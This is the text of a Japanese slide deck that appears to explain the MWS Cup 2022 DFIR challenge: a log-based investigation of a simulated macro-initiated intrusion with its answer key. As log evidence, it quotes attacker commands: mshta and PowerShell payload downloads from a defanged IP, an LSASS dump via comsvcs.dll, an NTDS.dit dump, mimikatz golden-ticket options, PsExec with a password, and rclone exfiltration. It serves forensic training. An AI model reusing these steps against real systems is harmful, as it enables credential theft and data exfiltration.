MWS Cup 2022 x DFIR 課題解説
MWS Cup 2022
DFIR作問チーム

保要 隆明

DFIR課題メンバー◼ 全体取りまとめ

保要 隆明 (株式会社エヌ・エフ・ラボラトリーズ)◼ 攻撃シナリオ検討・ログ取得環境構築

荒木 粧子 (株式会社ソリトンシステムズ)
 後藤 公太 (株式会社ソリトンシステムズ)
 尾曲 晃忠 (株式会社ソリトンシステムズ)
 木野田 渉 (株式会社ソリトンシステムズ)
 伊神 和馬 (株式会社ソリトンシステムズ)
 白鳥 隆史 (株式会社ソリトンシステムズ)
 竹澤 一輝 (株式会社ソリトンシステムズ)◼ 攻撃シナリオ検討・検証・実施・問題作成 (Red Team)

久保 佑介 (NTTコミュニケーションズ株式会社) 田口 裕介 (NTTコミュニケーションズ株式会社)
 戸祭 隆行 （NTTセキュリティ・ジャパン株式会社）

阿部 航太 （株式会社エヌ・エフ・ラボラトリーズ）
 飯田 良 （株式会社エヌ・エフ・ラボラトリーズ）
 市岡 秀一 （株式会社エヌ・エフ・ラボラトリーズ）
◼ 攻撃シナリオ検討・問題作成 (Blue Team)

大倉 有喜（NTTセキュリティ・ジャパン株式会社）

小林靖幸（GMOサイバーセキュリティ byイエラエ株式会社）2

今年の方針◼ 2021

人の手による攻撃 複数端末 EDRログ（InfoTrace Mark II）＋
プロキシログから侵害状況を明らかにする
 環境情報やフォーマットの事前アナウンス 現実の攻撃を再現した擬似攻撃


ANTI MALWARE ENGNEERING WORKSHOP 2022

◼ 2022

人の手による攻撃 複数端末 EDRログ（InfoTrace Mark II）＋
プロキシログから侵害状況を明らかにする
 環境情報やフォーマットの事前アナウンス 現実の攻撃を再現した擬似攻撃
 昨年よりも攻撃を少なめにする 昨年の課題1をカバーする問題作成
 知識問題を追加3

今年のあらすじ
イーデン・カレッジは、学問、スポーツ、芸術など様々な分野において優れた学生が集まる小中高一貫の国を代表する学校である。そのため、国を代表する著名人の子息も多く在学している。
そんなイーデン・カレッジは、これまで日々の作業を紙で行っていたが、世の中のIT化の流れに伴い、業務をデジタル化することにした。

ANTI MALWARE ENGNEERING WORKSHOP 2022

4

イーデンカレッジのIT環境構成図

ANTI MALWARE ENGNEERING WORKSHOP 20225

ある日、IT管理者に一つの相談が…
SwanからIT管理者に対して、「普段見ない画面が表示されて、Yesを押してしまったけど大丈夫か？」との相談があった。

IT管理者はこの画面に心当たりがなかったため、ヒアリングを実施。
ヒアリングを行ったところ、「画面が表示される少し前にExcelファイルが送られてきたので、開いたような…」と話している。
ANTI MALWARE ENGNEERING WORKSHOP 2022

6

事件を解決せよ！
最近、敵国の諜報活動が活発化しているとの情報がある。
もしかしたら、敵国スパイの諜報活動かもしれない。。
EDRログ、プロキシログを解析し、イーデン・カレッジでどのような出来事が起きたか明らかにして欲しい。

ANTI MALWARE ENGNEERING WORKSHOP 2022

7

今年のテーマ

悪性Officeファイル
を起点にした標的型攻撃

ANTI MALWARE ENGNEERING WORKSHOP 2022

8

Officeのマクロ機能を取り巻く状況◼ Microsoftが攻撃に使用されているOffice機能を無効化

引用: https://forest.watch.impress.co.jp/docs/news/1382510.html
ANTI MALWARE ENGNEERING WORKSHOP 2022

引用:
https://news.yahoo.co.jp/articles/191627b20d4e64868ef6d5a3649e100
caafb2fa6

9

Officeを狙った攻撃は未だに観測されている

https://www.bleepingcomputer.com/news/security/hackers-behind-icedid-malware-attacks-diversify-delivery-tactics/

https://tria.ge/220926-yytwladadr
ANTI MALWARE ENGNEERING WORKSHOP 202210

競技で解析するログ◼ 各エンドポイントのEDRログ◼ インターネットの接続点に設置したProxyのログ

ANTI MALWARE ENGNEERING WORKSHOP 202211

解析するログ
EDRログ◼ Soliton InfoTrace Mark II のログ Soliton Dataset で提供されているデータと同様のフォーマット

◼ 記録されている情報
 プロセスの起動・終了
 ファイルの作成・削除
 レジストリ操作

 ネットワーク接続・切断
 Windowsイベントログ情報
 など

ANTI MALWARE ENGNEERING WORKSHOP 202212

解析するログ
Proxyログ◼ OSSのプロキシソフトウェア Squild のアクセスログ◼ 記録されている情報
 クライアントIPアドレス
 HTTP リクエストメソッド
 HTTP アクセス先URL HTTP レスポンスステータスコード
 クライアントから送信（アップロード）されたデータ量の合計
 クライアントへ送信（ダウンロード）したデータ量の合計
 リファラ User-Agent など
ANTI MALWARE ENGNEERING WORKSHOP 2022

13

課題概要
0. Prolougue
11-1. Initial
Access/Execution
1

1-2. Initial
Access/Execution
1

1-3. Initial
Access/Execution
1

1-4. Initial
Access/Execution
2

1-5. Initial
Access/Execution
1

1-6. Initial
Access/Execution
12-1. Discovery
12-2. Discovery
13-1. Execution
13-2. Credential
Access14-1. Lateral
Movement
14-2. Lateral
Movement
1

5. Persistence1

6-1. Credential
Access2

6-2. Credential
Access2

7. Exfiltration
4

8-1. Incident
Response
18-2. Incident
Response
1

FLAG/選択形式 : 17pts

ANTI MALWARE ENGNEERING WORKSHOP 2022

記述形式: 8pts
14

問題解説

ANTI MALWARE ENGNEERING WORKSHOP 202215

解説に使用するツール◼ テキストエディタ: Visual Studio Code
 言語モードを「Log」にすることで、見やすくハイライトしてくれる 表示の「右端で折り返す」必要に応じて切り替えると見やすい ターミナルを表示し、grepを使う◼ ログ検索コマンド: grep
 LinuxやmacOSは標準的にインストール
 Windowsの場合、WSLやCygwinをインストールして使うと良い◼ Webブラウザ: Google Chrome 関連情報をググるのに使用

ANTI MALWARE ENGNEERING WORKSHOP 2022

16

1.1 Initial Access/Execution (1pt)
SwanがExcelのプロセスを起動した日時（日本時間）と開いたファイル名を答えよ。
フォーマット: YYYY/MM/DD_hh:mm:ss_ファイル名
例: 2022/10/24 09:00:00 に test.xlsx を開いた場合、
2022/10/24_09:00:00_test.xlsx
５回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202217

1.1 Initial Access/Execution (1pt)◼ WS02のログでExcelのプロセス起動ログを検索
cat ws02.log | grep "evt=ps subEvt=start" | grep -i excel

A. 2022/10/05_14:21:02_tomatet.xlsm
ANTI MALWARE ENGNEERING WORKSHOP 202218

1.2. Initial Access / Execution (1pt)
Swanが 問題1.1 のExcelファイルを開いた後、ExcelからWindows標準ツールが実行され、攻撃ペイロードがダウンロードされている。
以下の選択肢のうち、Excelのプロセスから最初に実行されたWindows標準コマンドはどれか？ （選択問題）◼ cscript◼ mshta◼ whoami◼ powershell

2回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

19

1.2 Initial Access/Execution (1pt)◼ ExcelのプロセスのGUIDをparentGUIDに指定して、プロセス起動ログを追う
cat ws02.log | grep "evt=ps subEvt=start" | grep
"parentGUID={781B147F-3EC7-4C36-AA59-DC58AB43D4F9}"ANTI MALWARE ENGNEERING WORKSHOP 202220

1.2 Initial Access/Execution (1pt)◼ ^ は、コマンドプロンプトにおいて、エスケープ記号を表す
 通常の文字の前に置いても意味はない = 検知回避のための難読化◼ 以下のコマンド (mshta) が実行されていると考えられる
mshta http://35.77.166[.]144:8080/se/s.html◼ 子プロセスの起動ログやほぼ同時刻のプロキシログから、実行成功を確認◼ A. mshta
ANTI MALWARE ENGNEERING WORKSHOP 2022

※ 誤アクセス防止のため、アドレスは一部別の文字に置き換えています21

1.3 Initial Access/Execution (1pt)
問題1.2 のコマンド実行後、PowerShellを悪用して外部から不審なファイル
をダウンロードして実行している。そのURLを答えよ。
例: https://example.com/hoge.txt
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202222

1.3 Initial Access/Execution (1pt)◼ Excelが起動された 14:21:02 以降のProxyログを確認◼ mshtaが通信していた通信先以外にも、いくつか同じ通信先が…

ANTI MALWARE ENGNEERING WORKSHOP 2022

23

1.3 Initial Access/Execution (1pt)◼ 2つ目の通信先でWS02のログを検索
cat ws02.log | grep "http://35.77.166.144:8800/se/s.png"◼ PowerShellでダウンロードしたファイルを実行
 拡張子が .png でも 画像ファイルとは限らない

A. http://35.77.166[.]144:8800/se/s.png※ 誤アクセス防止のため、アドレスは一部別の文字に置き換えています
ANTI MALWARE ENGNEERING WORKSHOP 202224

1.3 Initial Access/Execution (1pt)◼ プロセスの親子関係を追っていくと、1.2のプロセスとつながる

ANTI MALWARE ENGNEERING WORKSHOP 202225

1.4 Initial Access/Execution (2pts)問題1.3のあと、不審なファイルがダウンロードされてファイルとして保存されている。
そのダウンロード元のURLと、どのような場所（ファイルパス）に保存されたか答えよ。
フォーマット: URL_ファイルパス
例: (省略)
5回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202226

1.4 Initial Access/Execution (2pts)◼ 問題1.3 以降のProxyログを確認◼ /login/ランダムな文字列 の通信先に通信している◼ http://35.77.166[.]144:8800/login/7afda21s への通信が怪しい これまで見つけた通信先とIPアドレスが同じ ステータスコードが200
 ダウンロードされたデータ量が比較的大きい (17,412,032bytes)

ANTI MALWARE ENGNEERING WORKSHOP 202227

1.4 Initial Access/Execution (2pts)◼ 14:22:27頃のWS02のログを確認◼ C:¥Users¥Public¥Documents¥ssl.dll というファイルが作成
 作成しているプロセスは、問題1.3でダウンロードしていたプロセスと同じ
 書き込みデータ量も、17,411,584 bytes とダウンロードされたデータ量に近いA.
http://35.77.166[.]144:8800/login/7afda21s_C:¥Users¥Pub
lic¥Documents¥ssl.dll※ 誤アクセス防止のため、アドレスは一部別の文字に置き換えています
ANTI MALWARE ENGNEERING WORKSHOP 202228

1.5 Initial Access/Execution (1pt)
問題1.4で作られたファイルは、あるコマンドラインで実行されています。

そのコマンドラインをコマンドライン引数含めて答えよ。
例: コマンドで `C:¥Windows¥system32¥whoami.exe /all` を実行していた場合 `C:¥Windows¥system32¥whoami.exe /all`
5回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202229

1.5 Initial Access/Execution (1pt)◼ プロセス起動ログを、問題1.4で作られたファイルでgrepして検索
cat ws02.log | grep "evt=ps subEvt=start" | grep
'C:¥¥Users¥¥Public¥¥Documents¥¥ssl.dll'◼ C:¥Windows¥System32¥rundll32.exe

C:¥Users¥Public¥Documents¥ssl.dll,StartW を実行 親プロセスは問題1.4のプロセス

ANTI MALWARE ENGNEERING WORKSHOP 202230

1.6 Initial Access/Execution (1pt)
問題1.5の結果、外部へ接続が発生し、定期的に・頻繁に通信が行われている。
この通信先を答えよ。

（正答は複数あります。この問題では、どれを入力しても正解となります。
フォーマット: `IPアドレス:ポート番号`
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202231

1.6 Initial Access/Execution (1pt)◼ 問題1.5のプロセスがネットワーク接続ログがないか確認◼ なければ、子プロセスがネットワーク接続してないか確認子プロセスを探す -> ネットワーク接続ログを探す -> 子プロセスを探す の繰り返し

cat ws02.log | grep "evt=net subEvt=con" | grep 'psGUID={C0EEDA14-57914BF9-B7C7-33D066A619EA}'
cat ws02.log | grep "evt=ps subEvt=start" | grep 'parentGUID={C0EEDA145791-4BF9-B7C7-33D066A619EA}'
cat ws02.log | grep "evt=net subEvt=con" | grep 'psGUID={AB117015-D20B4A22-BC6A-006C5A0F5AFE}'
cat ws02.log | grep "evt=ps subEvt=start" | grep 'parentGUID={AB117015D20B-4A22-BC6A-006C5A0F5AFE}'
cat ws02.log | grep "evt=net subEvt=con" | grep 'psGUID={1DC0B0D5-64A843A5-B6E1-074558F4AA73}'

ANTI MALWARE ENGNEERING WORKSHOP 2022

32

1.6 Initial Access/Execution (1pt)◼ 35.77.166[.]144:80 および 35.77.166[.]144:443 へ通信

ANTI MALWARE ENGNEERING WORKSHOP 2022

33

1.6 Initial Access/Execution (1pt)◼ プロキシログからも、継続的にこのアドレスへ通信していることがわかる◼ A. 35.77.166[.]144:80 / 35.77.166[.]144:443※ 誤アクセス防止のため、アドレスは一部別の文字に置き換えています
ANTI MALWARE ENGNEERING WORKSHOP 2022

34

1. Initial Access/Execution◼ 悪性OfficeファイルからC2サーバ接続までの感染チェーンを解明する問題35.77.166[.]144:80
35.77.166[.]144:443

http://35.77.166[.]144:8800/se/s.png

http://35.77.166[.]144:8800/login/7afda21s

http://35.77.166[.]144:8080/se/s.html

tomatet.xlsm

mshta.exe(Excel 4.0 Macro)

ANTI MALWARE ENGNEERING WORKSHOP 2022

powershell.exe

powershell.exe

rundll32.exe(Base64 Encoded)35

1. Initial Access/Execution◼ Emotetの感染に実際に使われた感染チェーンをRedTeamで再現

https://unit42.paloaltonetworks.jp/new-emotet-infection-method/
ANTI MALWARE ENGNEERING WORKSHOP 2022

36

1. Initial Access/Execution◼ RAT (Remote Access Trojan)として Sliver を使用
 Goで書かれたC2フレームワーク

 https://github.com/BishopFox/sliver

ANTI MALWARE ENGNEERING WORKSHOP 202237

2.1 Discovery (1pt)
WS02ではActive Directoryを調査するツールが実行されている。

起動されたActive Directoryの調査ツールの実行ファイルのパスを答えよ。
例: `C:¥Users¥hoge¥fuga.exe`
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

38

2.1 Discovery (1pt)◼ WS02のプロセス起動ログだけ抽出
cat ws02.log | grep "evt=ps subEvt=start" > ws02.ps_start.log◼ 14:21:02頃以降のログだけに絞ると、120件程度になる◼ プロセスを見ていくと、 C:¥ProgramData¥AdFind¥AdFind.exe

を実行◼ A. C:¥ProgramData¥AdFind¥AdFind.exe

ANTI MALWARE ENGNEERING WORKSHOP 2022

39

2.1 Discovery (1pt)◼ プロセスの親子関係を追っていくと、1.5で攻撃者が起動したプロセス

ANTI MALWARE ENGNEERING WORKSHOP 202240

2.1 Discovery (1pt)◼ プロセスの親子関係を追っていくと、1.5で攻撃者が起動したプロセス

ANTI MALWARE ENGNEERING WORKSHOP 2022

41

2.1 Discovery (1pt)◼ AdFind.exeは、14:31:51頃に攻撃者によって作成

ANTI MALWARE ENGNEERING WORKSHOP 202242

2.2 Discovery (1pt)
WS02の偵察活動の1つにWindowsセキュリティセンターに登録された
ソフトウェアの探索を試みたプロセス実行があった。
そのプロセス起動を示すログのシーケンス番号（sn）を答えよ。
例: `64941`
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 202243

2.2 Discovery (1pt)◼ 2.1 で作成したWS02のプロセス起動を確認◼ wmic.exe を用いてセキュリティセンターのAntiVirusProductを取得するコマンドを実行◼ A. 70893

ANTI MALWARE ENGNEERING WORKSHOP 2022

44

2. Discovery
WS02での調査として、以下のコマンドを実行◼ whoami /all : ログインしているユーザの情報取得◼ net user : ローカルユーザ一覧の列挙◼ net localgroup : ローカルユーザグループ一覧の列挙◼ net localgroup Adminisistrators: Administratorsグループのメンバーの列挙◼ cmd.exe /c “C:¥ProgramData¥AdFind¥adfind.bat”: ADFindの実行Active Directoryの person, computer, organizationalUnit, group の情報を収集◼ wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get/format:list : セキュリティ製品の確認◼

tasklist.exe : 動作しているプロセスの確認

ANTI MALWARE ENGNEERING WORKSHOP 202245

2 Discovery◼ AdFindは攻撃ツールではないが、Active Directoryの調査ツールとして、攻撃者による使用が報告されている

https://blogs.jpcert.or.jp/ja/2021/01/Lazarus_tools.html
ANTI MALWARE ENGNEERING WORKSHOP 2022

46

2 Discovery◼ コマンドは実行されたが、Windows Serverでは、¥¥root¥SecurityCenter2 の名前空間が存在しないため、コマンドは
失敗

ANTI MALWARE ENGNEERING WORKSHOP 2022

47

3.1 Execution (1pt)
問題0のスクリーンショットで表示された画面は、攻撃者のどのような行動を示唆するものか。
MITRE ATT&CK (https://attack.mitre.org/) のTactics名で答えよ。
（答えは Execution 以外です）
3回まで回答可
回答例: `Initial Access`

ANTI MALWARE ENGNEERING WORKSHOP 2022

48

3.1 Execution (1pt)◼ （再掲） 問題0のスクリーンショット

ANTI MALWARE ENGNEERING WORKSHOP 2022

49

3.1 Execution (1pt)◼ UAC (User Account Control) Windowsのセキュリティ機能の一つ
 管理者権限を持つ一般ユーザが、管理者権限での作業を行う際に出現
 attache.exe で権限昇格を試みた？

◼ A. Privilege Escalation

https://attack.mitre.org/tactics/enterprise/
ANTI MALWARE ENGNEERING WORKSHOP 202250

3.2 Credential Access (1pt)
WS02では、MITRE ATT&CK (https://attack.mitre.org/) のT1003.001のテクニックが実行されている。
このテクニックを実行しているプロセス起動ログのシーケンス番号（sn）を答えよ。
例: `64941`
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

51

3.2 Credential Access (1pt)◼ T1003.001 は OS Credential Dumping: LSASS Memory
 WS02の認証情報が窃取された可能性が考えられる

ANTI MALWARE ENGNEERING WORKSHOP 2022

https://attack.mitre.org/techniques/T1003/001/

52

3.2 Credential Access (1pt)◼ ATT&CKのページにある手法でログ検索◼ Windows標準ツール（comsvcs.dll） を使う手法のログがヒット◼ A. 72810

ANTI MALWARE ENGNEERING WORKSHOP 2022

53

3.2 Credential Access (1pt)◼ 親子関係を辿っていくと、attach.exe から実行されている

ANTI MALWARE ENGNEERING WORKSHOP 2022

54

3. Privilege Escalation◼ PowerShellを用いて管理者権限でattach.exe を実行 その結果、UACが起動
 UACをクリックすると、管理者権限でC2通信が確立される

ANTI MALWARE ENGNEERING WORKSHOP 2022

55

3. Privilege Escalation◼ つるぎ町立半田病院のインシデントでは、UACが無効になっていた

https://www.handa-hospital.jp/topics/2022/0616/report_01.pdf
ANTI MALWARE ENGNEERING WORKSHOP 2022

56

3. Credential Access◼ Windows標準ツールである comsvcs.dll で 認証情報が保存されている lsass.exe のメモリダンプを作成
 Winodws標準ツールを用いて、アンチウイルスに検知される可能性を下げる◼ メモリを攻撃者端末でpypykatzを用いて解析
 https://github.com/skelsec/pypykatz

ANTI MALWARE ENGNEERING WORKSHOP 2022

57

3. Credential Access◼ Hashcat, rockyou.txtを用いてパスワードクラックを試すと、edenのパスワードが判明する

ANTI MALWARE ENGNEERING WORKSHOP 2022

58

4.1 Lateral Movement (1pt)
WS02では、C:¥Users¥Swan¥AppData¥Local¥Temp¥pe.exe という実行ファ
イルが作られている。
このファイルは、以下のうちどのような実行ファイルであると推測されるか?
（選択問題）-

Ransomware-

Key Logger-

Password Dump Tool-

Microsoftの正規ファイル

2回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

59

4.1 Lateral Movement (1pt)◼ C:¥Users¥Swan¥AppData¥Local¥Temp¥pe.exe に関するログ

をgrepで検索

cat ws02.log | grep 'C:¥¥Users¥¥Swan¥¥AppData¥¥Local¥¥Temp¥¥pe.exe'◼ pe.exe のファイル作成ログ、プロセス起動ログを発見◼ ファイル署名がMicrosoftになっている◼ A. Microsoftの正規のファイル
ANTI MALWARE ENGNEERING WORKSHOP 2022

60

4.2 Lateral Movement (1pt)
ユーザ名edenのパスワードとそのパスワードを使ってLateral Movementした
ホスト名を答えよ。
フォーマット: `ホスト名_edenのパスワード`
例: `WS01_hoge` 3回まで回答可

ANTI MALWARE ENGNEERING WORKSHOP 2022

61

4.2 Lateral Movement (1pt)◼ 4.1 で見つけた pe.exe のプロセス起動ログを確認◼ pe.exe の正体は PsExec◼ cmdで指定されている引数を確認 -u : ユーザ名 (eden) -p : パスワード (stellastar) -s : システム権限で起動 -c : ファイルをコピーして実行 ¥¥dc01.eden-college.local : 接続先ホスト◼ A. DC01_stellastar
https://learn.microsoft.com/ja-jp/sysinternals/downloads/psexec
ANTI MALWARE ENGNEERING WORKSHOP 2022

62

4 Lateral Movement◼ PsExecを用いて、DC01にLateral Movement 3.2 で発見したedenのパスワードを使用
 edenがDomain Adminsのメンバであることは、2.1 Discoverで判明している

ANTI MALWARE ENGNEERING WORKSHOP 2022

63

4 Lateral Movement◼ PsExecは依然として攻撃者も使用している◼ つるぎ町立半田病院のインシデントでも、攻撃者により使用が報告されている

https://www.handa-hospital.jp/topics/2022/0616/report_01.pdf
ANTI MALWARE ENGNEERING WORKSHOP 2022

64

5. Persistence (1pt)
DC01では、攻撃者が起動時もしくはログオン時にプログラムが自動起動されるようにプログラムを設置している。
自動起動されるように設置されたプログラムのパスを答えよ。
例: `C:¥Users¥hoge¥fuga.exe`
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

65

5. Persistence (1pt)◼ DC01のファイル作成ログのみ抽出
cat dc01.log | grep "evt=file subEvt=create" > dc01_file_create.log◼ 攻撃者がLateral Movementした 15:04:12 以降のログを確認◼ C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp¥ にファイルを作成 ユーザがログインした際にプログラムが起動するフォルダhttps://attack.mitre.org/techniques/T1547/001/◼ A. C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp¥chairperson.exe
ANTI MALWARE ENGNEERING WORKSHOP 2022

66

6.1. Credential Access (2pts)
今回の攻撃では、KerberosのGolden Ticketが作成されている。

Golden Ticket作成に使われたNTLMハッシュと、そのハッシュがどのア
カウントのものか答えよ。
フォーマット: `アカウント名_NTLMハッシュ`（記号以外はすべて小文字）
3回まで回答可ANTI MALWARE ENGNEERING WORKSHOP 2022

67

6.1. Credential Access (2pts)◼ Kerberos Golden Ticket” の作り方を調べる
 https://attack.mitre.org/techniques/T1558/001/◼ mimikatzを用いて作成することができるとわかる

ANTI MALWARE ENGNEERING WORKSHOP 2022

68

6.1. Credential Access (2pts)◼ 侵害されたマシンでのmimikatzの使用がないか調べる
cat dc01.log | grep mimikatz◼ mimikatz を作成、実行しているログを発見

ANTI MALWARE ENGNEERING WORKSHOP 2022

69

6.1. Credential Access (2pts)◼ 実行しているmimikatzのオプション
kerberos::golden： Kerberos Ticketの作成/user: 作成対象のユーザ /domain: 作成対象ドメイン
 /sid: 作成対象ドメインのsid /krbtgt: krbtgtアカウントのNTLMハッシュ /ppt: 作成したチケットをメモリに挿入（Pass The Ticket）
◼ A. krbtgt_e3f41a65bddff59e84d4d9b9290e32ef

ANTI MALWARE ENGNEERING WORKSHOP 2022

70

6.2 Credential Access (2pts)
Golden Ticket 作成 および Pass The Ticket攻撃をされたことを専門家に話したところ、「krbtgtアカウントのパスワードをX回変更する必要があるね」と言われた。
Xに入る数値はいくつか。

また、なぜその回数変更する必要か、理由を答えよ。（記述問題）

ANTI MALWARE ENGNEERING WORKSHOP 2022

71

6.2 Credential Access (2pts)◼ A. 2回◼ krbtgtは直近2つのパスワードハッシュ履歴を保持しており、1つ目のパスワードハッシュによるチケット検証に失敗したら2つ目のパス
ワードハッシュによるチケット検証でチケット偽装ができてしまうため。
◼ 参考
 https://www.jpcert.or.jp/research/AD.html

ANTI MALWARE ENGNEERING WORKSHOP 2022

72

6. Credential Access

TGT

チケット要求チケット

ST

サービスチケット◼ Kerberos認証の簡単なしくみ

ユーザ

認証サーバ （DC01）

アクセス先サーバ (FILE01）

資格情報
TGT
TGT
ST
ST
アクセス許可！
ANTI MALWARE ENGNEERING WORKSHOP 2022

73

6. Credential Access

TGT

チケット要求チケット

ST

サービスチケット◼ Golden Ticket = 偽装した任意のユーザのTGT

攻撃者

攻撃者がTGTを作成

認証サーバ （DC01）

アクセス先サーバ (FILE01）

TGT
ST
ST

アクセス許可！
ANTI MALWARE ENGNEERING WORKSHOP 2022

74

6. Credential Access◼ 任意のユーザのGolden Ticketを作成するためには、ｋｒｂｔｇｔアカウントのNTLMハッシュが必要
 krbtgt: TGTの署名などを行うアカウント◼ DC01でntds.ditを窃取し、攻撃者端末で解析

ANTI MALWARE ENGNEERING WORKSHOP 2022

75

6. Credential Access◼ klistでチケットのキャッシュを削除し、mimikatzでGolden Ticket作成
 Hendersonのアカウントのチケットを作成

ANTI MALWARE ENGNEERING WORKSHOP 2022

76

6. Credential Access◼ FILE01の共有フォルダの一覧を取得

ANTI MALWARE ENGNEERING WORKSHOP 2022

77

6. Credential Accessを実行した時、DC01とFILE01に172.16.1.102からHendersonのアカウントで認証したログが残っている◼ net view ¥¥file01.eden-college.local

 172.16.1.102 はSwanが使っているはずなのに…
 Hendersonが TGTをリクエストしたログはない

ANTI MALWARE ENGNEERING WORKSHOP 2022

78

7. Exfiltration (4pts)
今回の攻撃によって、ファイルサーバのいくつかのファイルが外部に持ち出されている。
どのようなファイルがどこに持ち出されているか、いつ、どのような手段かも含めて、根拠とともに説明せよ。 (記述問題)

注意点◼ ログを根拠の説明で使う際には、EDRログの場合は ログ名: シーケ

ンス番号 (sn) 、Proxyログの場合は `ログ名:行数` としてください

ANTI MALWARE ENGNEERING WORKSHOP 2022

79

7. Exfiltration(4pts)◼ file01でgrep
cat ws02.log | grep file01◼ WS02でFILE01からファイルをコピーしている

ANTI MALWARE ENGNEERING WORKSHOP 2022

80

7. Exfiltration(4pts)◼ ファイルはchrome.exe を用いてどこかへコピーしている 実態は、ファイル名を偽装した rclone というソフトウェア

ANTI MALWARE ENGNEERING WORKSHOP 2022

81

7. Exfiltration(4pts)◼ 同じ時間のプロキシログを見ると、http://35.76.102.7/bucketにコピーしたファイルをアップロードしている

ANTI MALWARE ENGNEERING WORKSHOP 2022

82

7. Exfiltration(4pts)
持ち出されたファイル

A.
-student_grades.xlsx--

student_list.xlsx--

15:31:08 ファイルサーバからコピー（ ws02.log:73691）
15:36:02 http://35.76.102.7/bucket へrcloneを用いて持ち出し(ws02.log:74038, proxy01.log:5932)
15:31:20 ファイルサーバからコピー（ ws02.log:73700）
15:36:35 http://35.76.102.7/bucket へrcloneを用いて持ち出し(ws02.log:74082, proxy01.log:5990)

entrance_exam.docx-

15:32:05 ファイルサーバからコピー（ ws02.log:73755）
15:36:41 http://35.76.102.7/bucket へrcloneを用いて持ち出し(ws02.log:74111, proxy01.log:6009)

ANTI MALWARE ENGNEERING WORKSHOP 2022

83

7. Exfiltration◼ PowerShellでファイルサーバからファイルをコピー

ANTI MALWARE ENGNEERING WORKSHOP 2022

84

7. Exfiltration◼ rcloneを用いて、オブジェクトストレージ (Minio)へアップロード

ANTI MALWARE ENGNEERING WORKSHOP 2022

85

7. Exfiltration

ANTI MALWARE ENGNEERING WORKSHOP 2022

86

7. Exfiltration◼ rcloneは正規のツールだが、攻撃者も使用する

https://news.sophos.com/ja-jp/2021/03/03/conti-ransomware-attack-day-by-day-jp/
ANTI MALWARE ENGNEERING WORKSHOP 2022

87

8.1 Incident Response (1pt)
攻撃者によってアクセスがあったシステムを以下からすべて選択し、その番号を列挙せよ。（記述問題）
1.

WS01

2.

WS02

3.

WS03

4.

DC01

5.

FILE01ANTI MALWARE ENGNEERING WORKSHOP 2022

88

8.2 Incident Response (1pt)
攻撃者が悪用したアカウントを以下からすべて選択し、その番号を列挙せよ。（記述問題）
1.

Henderson

2.

Swan

3.

Evans

4.

eden

ANTI MALWARE ENGNEERING WORKSHOP 2022

89

攻撃シナリオまとめ (1/2)
Timestamp

Tactics

14:22:02

Initial Access

Event

user

Excelで tomatet.xlsm を開き、C2接続が確立

14:27:16

ユーザを確認 (whoami /all)

14:27:29

ローカルユーザを列挙 （net user)

14:27:41

ローカルユーザグループの列挙 (net localgroup)

14:28:09

Host

Administratorsグループのメンバ列挙 (net localgroup Administrators)
Discovery

14:28:54

ウイルス対策ソフトウェアの確認(wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get /format:list)

14:30:28

Windows Defenderの動作確認 (sc queryex WinDefend)

14:31:37

動作してるタスク一覧を確認 (tasklist)

14:35:53

AdFindを実行 (C:¥ProgramData¥AdFind¥adfind.bat)

14:45:28

Privilege Escalation 管理者権限で C:¥Users¥Swan¥AppData¥Local¥Temp¥attach.exe を起動 (UACが起動)

14:51:01

Credential Access

14:53:21

Exfiltration

eden-college¥swan

WS02

comsvcs.dllを使用したlsass.exeのメモリダンプし、ZIP圧縮 (lsass.zip) 、元のファイルを削除

lsass.zip を持ちだし

15:01:23

Persistence

自動起動設定(C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp に
attach.exe を作成）

15:04:12

Lateral Movement

lsassのメモリダンプから発見した eden の Credential を用いてPsExec。DC01でattach,exe を実行

ANTI MALWARE ENGNEERING WORKSHOP 2022

eden-college¥swan(Privileged)90攻撃シナリオまとめ (2/2)
Timestamp

Tactics

Event

15:09:42

ユーザを確認 (whoami /all)

15:10:22

ローカルユーザを列挙 （net user)

15:10:51

ローカルユーザグループの列挙 (net localgroup)

15:11:27

Discovery

ウイルス対策ソフトウェアの確認(wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get /format:list)

15:12:38

Windows Defenderの動作確認 (sc queryex WinDefend)

15:13:02

動作してるタスク一覧を確認 (tasklist)

15:19:36

Credential Dump
Exfiltration

15:26:55

user

DC01

NT AUTHORUTY¥SYSTEM

WS02

eden-college¥swan(Privileged)

Administratorsグループのメンバ列挙 (net localgroup Administrators)

15:12:25

15:22:32

Host

NTDS.dit をdump ( ntdsutil “ac i ntds" ifm "create full $env:TEMP¥dump" q q )ｎtdsutilでdumpしたファイル一式を圧縮したファイル (dump.zip) を持ち出し
klist purge でKerberosチケットのキャッシュを削除

Credential Dump
15:28:28
15:29:39

mimikatzでGolden Ticket作成
Discovery

15:36:02

FILE01のファイル共有を確認 (net view ¥¥file01.eden-college.local)
student_grades.xlsx をrclconeを用いてminioに持ち出し

15:36:35

student_list.xlsx をrcloneを用いてminioに持ち出し
Exfiltration

15:36:41

entrance_exam.docxをrcloneを用いて minioに持ち出し

ANTI MALWARE ENGNEERING WORKSHOP 2022

91

まとめ
◼ Officeのマクロ機能を起点とした初期アクセスを実行◼ Windows標準ツール、正規ツールを使用して攻撃を実施◼ Active Directoryの仕組みを悪用した攻撃を実施

ANTI MALWARE ENGNEERING WORKSHOP 2022

92

Thank you!!

ANTI MALWARE ENGNEERING WORKSHOP 2022

93